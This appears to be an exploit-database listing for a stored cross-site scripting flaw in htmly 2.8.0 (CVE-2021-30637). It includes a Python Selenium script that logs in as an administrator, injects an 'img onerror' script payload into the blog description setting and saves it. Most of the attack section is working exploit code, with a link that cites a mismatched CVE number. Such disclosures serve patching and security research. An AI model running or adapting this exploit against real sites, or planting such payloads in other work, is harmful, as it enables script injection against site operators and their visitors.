exploit the possibilities

htmly 2.8.0 Cross Site Scripting

htmly 2.8.0 Cross Site Scripting
Posted Apr 15, 2021
Authored by nu11secur1ty, G.Dzhankushev

htmly version 2.8.0 suffers from a persistent cross site scripting vulnerability.

tags | exploit, xss
advisories | CVE-2021-30637
MD5 | 1f7856dd557f345879af5eb7735315e1

htmly 2.8.0 Cross Site Scripting

Change Mirror Download
# Exploit Title: htmly 2.8.0 allows stored XSS
# Authors: @nu11secur1ty & G.Dzhankushev
# Date: 04.15.2021
# Vendor: htmly
# Link: https://github.com/danpros/htmly
# CVE: CVE-2021-30637

[+] Exploit Source:
https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-26929

[Exploit Program Code]

#!/usr/bin/python3
# Authors: @nu11secur1ty, G,Dzhankushev
# CVE-2021-30637

from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
import time


#enter the link to the website you want to automate login.
website_link="http://localhost/htmly/login"

#enter your login username
username="nu11secur1ty"

#enter your login password
password="password"

#enter the element for username input field
element_for_username="user"
#enter the element for password input field
element_for_password="password"
#enter the element for submit button
element_for_submit="submit"


#browser = webdriver.Safari() #for macOS users[for others use chrome vis
chromedriver]
browser = webdriver.Chrome() #uncomment this line,for chrome users
#browser = webdriver.Firefox() #uncomment this line,for chrome users

browser.get((website_link))

try:
username_element = browser.find_element_by_name(element_for_username)
username_element.send_keys(username)
password_element = browser.find_element_by_name(element_for_password)
password_element.send_keys(password)
signInButton = browser.find_element_by_name(element_for_submit)
signInButton.click()

# Exploit .ini
browser.get(("http://localhost/htmly/admin/config"))
browser.execute_script("document.querySelector('[name=\"-config-blog.description\"]').innerText
= '</span><img src=1 onerror=alert(1) /><span>'")
time.sleep(3)
browser.execute_script("document.querySelector('.btn.btn-primary').click()")

print("If everything is ok, please paste this code in to the Users in
section First Name\n")

except Exception:
#### This exception occurs if the element are not found in the webpage.
print("Some error occured :(")

---------------------------------

# Exploit Title: htmly 2.8.0 allows stored XSS
# Date: 04.15.2021
# Exploit Authotr @nu11secur1ty
# Exploit Debugging: G.Dzhankushev
# Vendor Homepage: htmly
# Software Link: https://github.com/danpros/htmly
# Video: https://www.youtube.com/watch?v=xKRQZYqVlS4

# Steps to Reproduce:
https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-30637

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